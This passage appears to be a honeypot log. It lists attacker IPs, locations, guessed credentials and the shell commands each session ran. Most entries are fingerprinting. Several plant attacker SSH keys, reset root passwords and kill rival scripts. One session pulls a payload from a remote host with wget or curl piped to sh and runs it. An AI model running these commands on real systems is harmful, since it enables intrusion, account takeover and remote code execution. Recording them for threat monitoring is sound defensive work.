2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—7
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; echo; cat /proc/device-tree/model 2>/dev/null; echo; lscpu 2>/dev/null | grep "Model name" | cut -d: -f2-; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—14
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—12
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—8
$ uname -m 2 > /dev/null ร—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—8
๐ŸŽญ jittery_gouda_root (77.239.124.108) โ€” Amsterdam, The Netherlands ยท 5 sessions ยท 5 cmds
2026-08-20 23:01 EDT ยท as admin/admin, root/123456, root/admin
echo (repeated echo 5x)
$ echo SHELL_TEST ร—5
๐ŸŽญ midnight_burger_sol (162.241.181.223) โ€” Provo, United States ยท 1 session ยท 1 cmd
2026-08-20 22:42 EDT ยท as test/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ nocturnal_rosewater_root_2 (185.159.153.2) โ€” Kerman, Iran ยท 1 session ยท 1 cmd
2026-08-20 22:19 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ baroque_hanbok_root (27.116.165.30) โ€” Seongnam-si, South Korea ยท 1 session ยท 1 cmd
2026-08-20 21:25 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ glitchy_wok_root_176 (115.190.145.176) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-08-20 20:57 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ baroque_autobahn_root (5.231.106.247) โ€” Bad Soden am Taunus, Germany ยท 2 sessions ยท 2 cmds
2026-08-20 17:12 EDT ยท as guest/guest, root/qwerty
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown' ร—2
๐ŸŽญ lurking_burger_root_212 (198.46.218.212) โ€” Elk Grove Village, United States ยท 1 session ยท 1 cmd
2026-08-20 19:07 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ molten_monsoon_root (49.204.74.149) โ€” Bengaluru, India ยท 1 session ยท 2 cmds
2026-08-20 19:03 EDT ยท as oracle/ORACLE
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wily_saffron_root (45.156.185.184) โ€” Tehran, Iran ยท 1 session ยท 1 cmd
2026-08-20 18:51 EDT ยท as guest/guest
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ gnarled_wraith_root (41.111.227.10) โ€” Algiers, Algeria ยท 1 session ยท 2 cmds
2026-08-20 18:42 EDT ยท as oracle/ORACLE
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ velvet_beefeater_root (51.75.170.40) โ€” Ponders End, United Kingdom ยท 1 session ยท 1 cmd
2026-08-20 18:07 EDT ยท as admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ arctic_orchid_root (148.66.133.23) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-08-20 17:32 EDT ยท as root/admin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ arctic_eagle_root (152.32.182.8) โ€” Reston, United States ยท 1 session ยท 2 cmds
2026-08-20 17:29 EDT ยท as oracle/oracle#123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ vapor_gouda_root_44 (91.92.40.44) โ€” Amsterdam, The Netherlands ยท 44 sessions ยท 44 cmds
2026-07-16 20:17 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—44
๐ŸŽญ unhinged_cowboy_sol (162.241.130.19) โ€” Provo, United States ยท 1 session ยท 1 cmd
2026-08-20 16:22 EDT ยท as metaplex/metaplex
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ venomous_panda_root (182.43.76.120) โ€” Jinan, China ยท 1 session ยท 2 cmds
2026-08-20 15:29 EDT ยท as oracle/Oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_stroopwafel_root_34 (91.92.42.34) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-20 11:17 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ venomous_clog_root (45.156.87.13) โ€” Amsterdam, The Netherlands ยท 124 sessions ยท 124 cmds
2026-07-10 16:42 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—124
๐ŸŽญ venomous_siesta_root (217.160.226.51) โ€” Madrid, Spain ยท 2 sessions ยท 39 cmds
2026-07-14 07:21 EDT ยท as postgres/postgres, root/toor
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo -e "postgres\nR6UiFEQnBhRx\nR6UiFEQnBhRx"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\nR6UiFEQnBhRx\nR6UiFEQnBhRx\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo "root:zpJQWHws9FOQ"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
๐ŸŽญ clandestine_stroopwafel_root (77.239.124.247) โ€” Amsterdam, The Netherlands ยท 93 sessions ยท 93 cmds
2026-07-18 11:14 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ brisk_pretzel_root (77.90.185.20) โ€” Augsburg, Germany ยท 4 sessions ยท 4 cmds
2026-07-23 15:28 EDT ยท as pi/raspberry, root/pass123, root/qwerty
payload download โ†’ make executable
$ uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh
โ†ณ payload download
$ chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
โ†ณ make executable
$ chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a ร—2
โ†ณ make executable
๐ŸŽญ spectral_panda_root (139.170.155.208) โ€” Xining, China ยท 1 session ยท 1 cmd
2026-08-19 14:48 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ crimson_mariachi_root (177.229.197.38) โ€” Tapachula, Mexico ยท 1 session ยท 19 cmds
2026-08-19 10:52 EDT ยท as root/123456
root/123456 login โ†’ chattr/lockr disable .ssh integrity โ†’ rm -rf .ssh + mkdir .ssh + inject weak RSA key โ†’ chpasswd overwrite root password โ†’ pkill -9 secure.sh/auth.sh + clear /etc/hosts โ†’ cat /proc/cpuinfo + free -m + top + w + uname -m + ls -lh $(which ls
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:xYCTv8dzTujm"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ weary_liberty_root (129.121.73.113) โ€” Ashburn, United States ยท 1 session ยท 19 cmds
2026-08-19 10:29 EDT ยท as root/123456
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ cat /etc/ssh/sshhostrsa_key โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "root:eb5mQ4ihK4He"|chpasswd|bash โ†’ rm -rf /tmp/secure.sh โ†’ pkill -9 secure.sh โ†’ pkill -9
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:eb5mQ4ihK4He"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sneaky_dutch_sol (91.92.40.35) โ€” Eygelshoven, The Netherlands ยท 8 sessions ยท 8 cmds
2026-08-19 09:30 EDT ยท as admin/123456, deploy/deploy, deploy/deploy123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—8
